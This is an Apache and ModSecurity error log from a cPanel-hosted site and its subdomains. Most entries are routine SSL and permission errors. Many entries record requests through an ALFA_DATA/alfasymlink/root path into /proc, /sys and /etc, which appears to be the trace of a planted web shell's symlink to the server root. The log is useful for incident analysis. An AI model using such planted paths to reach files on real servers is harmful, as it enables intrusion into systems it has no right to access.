[Tue Oct 27 10:08:59.757513 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 50.16.72.185:26942] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:11.710993 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 98.84.60.17:22320] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:15.764478 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 23.22.105.143:49334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:19.816899 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 23.21.148.226:7999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:27.722330 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 54.162.69.192:53039] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:33.491322 2026] [security2:error] [pid 3245441:tid 3245441] [client 54.89.140.197:37282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auCwneDGYG7bZ6qVgjro0QAAABA"]
[Tue Oct 27 10:09:33.491354 2026] [security2:error] [pid 3245441:tid 3245441] [client 54.89.140.197:37282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auCwneDGYG7bZ6qVgjro0QAAABA"]
[Tue Oct 27 10:09:44.245084 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 52.204.89.12:17707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:52.423184 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.5.242.243:29669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:09:54.202953 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 185.191.171.2:40034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/net/rpc/auth.unix.gid/channel
[Tue Oct 27 10:09:57.152415 2026] [security2:error] [pid 3243694:tid 3243694] [client 202.141.230.246:53202] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/refacciones-y-accesorios-para-automoviles-y-camiones/1"] [unique_id "auCwtWHsBjCWf-OodEyOYwAAAAs"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:09:59.704015 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.45.29.57:49480] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:10:03.683641 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.204.62.163:62536] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:10:07.743752 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.4.76.156:39011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:10:11.737502 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 44.221.37.41:29741] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:10:15.750395 2026] [core:error] [pid 3244151:tid 3244151] (13)Permission denied: [client 3.221.156.96:33764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/parameters/debug
[Tue Oct 27 10:10:39.846776 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 23.23.214.190:23822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:10:43.860838 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 34.227.234.246:42809] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:0b/eject
[Tue Oct 27 10:10:55.807656 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.197.28.78:44354] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:10:59.877901 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 35.168.238.50:64268] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:11:23.929408 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 98.84.184.80:34211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:11:31.712777 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 35.173.38.202:30675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:11:49.000302 2026] [core:error] [pid 3246019:tid 3246019] (13)Permission denied: [client 216.244.66.250:44266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/email_send_limits
[Tue Oct 27 10:11:51.896036 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 44.206.65.8:55838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory6/node0/cpu1/crash_notes
[Tue Oct 27 10:11:55.671893 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 54.80.73.122:38516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:03.954552 2026] [ssl:error] [pid 3245436:tid 3245436] (5)Input/output error: [client 34.196.6.199:56508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:19.503255 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 18.213.240.226:36019] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/cpu1/firmware_node/eject
[Tue Oct 27 10:12:20.457965 2026] [security2:error] [pid 3240704:tid 3240704] [client 107.172.76.131:59795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCxOJYAlP-bYGqEryjMnwAAAAI"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:12:20.458010 2026] [security2:error] [pid 3240704:tid 3240704] [client 107.172.76.131:59795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCxOJYAlP-bYGqEryjMnwAAAAI"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:12:23.736465 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 3.212.219.113:31664] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:31.699446 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 100.25.120.246:16134] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:35.301093 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 44.194.134.53:25233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:39.458007 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 3.94.157.25:60490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:43.527952 2026] [ssl:error] [pid 3245434:tid 3245434] (70014)End of file found: [client 54.225.181.161:51767] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:12:51.294993 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 34.197.28.78:64676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:13:09.139916 2026] [security2:error] [pid 3241912:tid 3241912] [client 107.172.76.131:59750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCxaPp7iFlBEdivFURabgAAAAM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:13:09.139964 2026] [security2:error] [pid 3241912:tid 3241912] [client 107.172.76.131:59750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCxaPp7iFlBEdivFURabgAAAAM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:13:19.006653 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 54.225.148.123:15301] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:13:38.917064 2026] [ssl:error] [pid 3245440:tid 3245440] (70014)End of file found: [client 44.220.2.97:11401] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:13:43.011175 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 52.54.249.218:46486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:0a/eject
[Tue Oct 27 10:13:46.938313 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 35.168.238.50:27053] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:13:54.749211 2026] [security2:error] [pid 3238311:tid 3238311] [client 50.16.248.61:44985] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory3/subsystem/devices/memory0/"] [unique_id "auCxosYLThtfGXx9Tuqy1wAAAAc"]
[Tue Oct 27 10:13:54.749276 2026] [security2:error] [pid 3238311:tid 3238311] [client 50.16.248.61:44985] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory3/subsystem/devices/memory0/"] [unique_id "auCxosYLThtfGXx9Tuqy1wAAAAc"]
[Tue Oct 27 10:14:10.665054 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 100.29.128.75:36150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/17/module/uevent
[Tue Oct 27 10:14:14.732868 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.3.127.170:36064] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:14:19.170870 2026] [security2:error] [pid 3244151:tid 3244151] [client 137.59.147.107:13086] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/hospitales/1"] [unique_id "auCxu7V5DUgPlLcU9k-JBQAAAAQ"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:14:30.586252 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.238.45.183:62842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:14:34.340375 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 52.7.13.143:63994] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:14:38.767617 2026] [ssl:error] [pid 3240341:tid 3240341] (5)Input/output error: [client 34.239.197.197:8517] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:14:45.788251 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 185.191.171.15:51042] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:14:58.307319 2026] [core:error] [pid 3245441:tid 3245441] (13)Permission denied: [client 3.217.171.106:42146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/subsystem/drivers/system/uevent
[Tue Oct 27 10:15:14.177783 2026] [ssl:error] [pid 3245443:tid 3245443] (5)Input/output error: [client 3.223.134.5:63167] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:15:18.216221 2026] [security2:error] [pid 3246019:tid 3246019] [client 98.84.70.201:25707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory0/subsystem/devices/memory23/subsystem/"] [unique_id "auCx9iuRyqQjBmRbW2sNfAAAAAw"]
[Tue Oct 27 10:15:18.216304 2026] [security2:error] [pid 3246019:tid 3246019] [client 98.84.70.201:25707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory0/subsystem/devices/memory23/subsystem/"] [unique_id "auCx9iuRyqQjBmRbW2sNfAAAAAw"]
[Tue Oct 27 10:15:22.189411 2026] [security2:error] [pid 3245441:tid 3245441] [client 54.197.178.107:42093] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/PNP0F13:00/physical_node/subsystem/devices/00:00/"] [unique_id "auCx-uDGYG7bZ6qVgjro1QAAABA"]
[Tue Oct 27 10:15:22.189496 2026] [security2:error] [pid 3245441:tid 3245441] [client 54.197.178.107:42093] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/PNP0F13:00/physical_node/subsystem/devices/00:00/"] [unique_id "auCx-uDGYG7bZ6qVgjro1QAAABA"]
[Tue Oct 27 10:15:27.692530 2026] [ssl:error] [pid 3245440:tid 3245440] (70014)End of file found: [client 85.208.96.194:33632] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:15:37.780961 2026] [security2:error] [pid 3240341:tid 3240341] [client 189.203.13.145:7297] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/sitiosadn"] [unique_id "auCyCRwDNH6J5KC1JpzHWwAAABQ"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:15:46.901195 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:59758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCyB2gdpW92b4rNnH0AXAAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:15:46.901292 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:59758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCyB2gdpW92b4rNnH0AXAAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:16:06.168119 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 34.197.28.78:38901] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:14.209330 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 23.22.105.143:51495] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:26.233371 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.204.37.237:26629] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:34.164341 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 44.213.202.136:32476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:42.162677 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.70.123.241:14653] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:46.338762 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 52.54.15.103:30804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:50.277034 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 184.72.95.195:30970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:16:59.009216 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:59845] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCyThKut9jdf6Y85ZJctgAAABE"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:16:59.009272 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:59845] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCyThKut9jdf6Y85ZJctgAAABE"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:17:02.235817 2026] [ssl:error] [pid 3238313:tid 3238313] (5)Input/output error: [client 184.73.239.35:48677] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:10.159245 2026] [ssl:error] [pid 3245635:tid 3245635] (5)Input/output error: [client 98.84.184.80:56071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:18.346246 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.227.234.246:43552] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:22.169570 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 98.80.130.239:3919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:34.168003 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 44.196.118.6:21553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:38.332332 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 44.218.6.93:1805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:42.205269 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.231.45.47:25196] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:46.165775 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 18.235.81.246:42625] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:54.159928 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 52.200.251.20:60467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:58.163339 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 34.206.212.24:2424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:17:59.731698 2026] [security2:error] [pid 3246081:tid 3246081] [client 107.172.76.131:59828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCyjNahGwae8XSvsxsmfAAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:17:59.731780 2026] [security2:error] [pid 3246081:tid 3246081] [client 107.172.76.131:59828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCyjNahGwae8XSvsxsmfAAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:18:02.176664 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 54.162.69.192:3410] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:18:06.121210 2026] [security2:error] [pid 3245436:tid 3245436] [client 107.172.76.131:59853] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCykkT-nkC2k8zcLn8VVAAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:18:06.121268 2026] [security2:error] [pid 3245436:tid 3245436] [client 107.172.76.131:59853] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCykkT-nkC2k8zcLn8VVAAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:18:06.164299 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 3.93.98.99:61246] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:18:18.238197 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 50.17.193.48:8742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:18:22.169576 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 44.218.170.184:46131] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:18:42.460736 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 85.208.96.194:37158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:18:46.173963 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 3.213.46.222:39609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/psmouse/unbind
[Tue Oct 27 10:18:50.206202 2026] [ssl:error] [pid 3245434:tid 3245434] (70014)End of file found: [client 54.87.95.7:48033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:18:58.155595 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.218.35.239:42251] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:19:10.267959 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 3.214.176.44:40138] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:19:26.870970 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 85.208.96.206:11338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:19:30.314425 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 52.71.46.142:15263] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:19:42.135437 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 50.19.221.48:54979] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:19:50.139594 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 34.196.237.236:46058] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:19:58.441447 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 185.191.171.15:42244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sunrpc/sections/__kcrctab
[Tue Oct 27 10:20:02.146364 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.227.234.246:46972] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:20:18.170143 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 98.84.131.195:30992] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:20:46.271343 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 54.87.62.248:52593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:20:54.287835 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 184.73.195.18:21026] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:21:02.160713 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.144.185.255:45906] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:21:10.172467 2026] [core:error] [pid 3246019:tid 3246019] (13)Permission denied: [client 52.45.29.57:46013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/remove
[Tue Oct 27 10:21:18.150533 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 44.221.105.234:31570] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:21:22.373338 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:59758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCzVmgdpW92b4rNnH0AdQAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:21:22.373392 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:59758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCzVmgdpW92b4rNnH0AdQAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:21:38.140072 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 23.21.227.240:50764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:21:42.160915 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 184.72.95.195:58707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:22:06.312668 2026] [core:error] [pid 3245434:tid 3245434] (13)Permission denied: [client 52.3.104.214:29620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:03.0/firmware_node/subsystem/devices/device:0a/subsystem/drivers_probe
[Tue Oct 27 10:22:08.759521 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 185.191.171.10:39884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:22:30.293766 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 52.54.95.127:24292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:22:38.246060 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.224.132.215:42046] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:22:42.170484 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 44.206.65.8:40777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:22:46.848908 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 185.191.171.9:44286] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:23:06.161748 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 185.191.171.13:47178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/store_user
[Tue Oct 27 10:23:14.368330 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 85.208.96.195:35752] AH02013: coalesce failed to read from data bucket
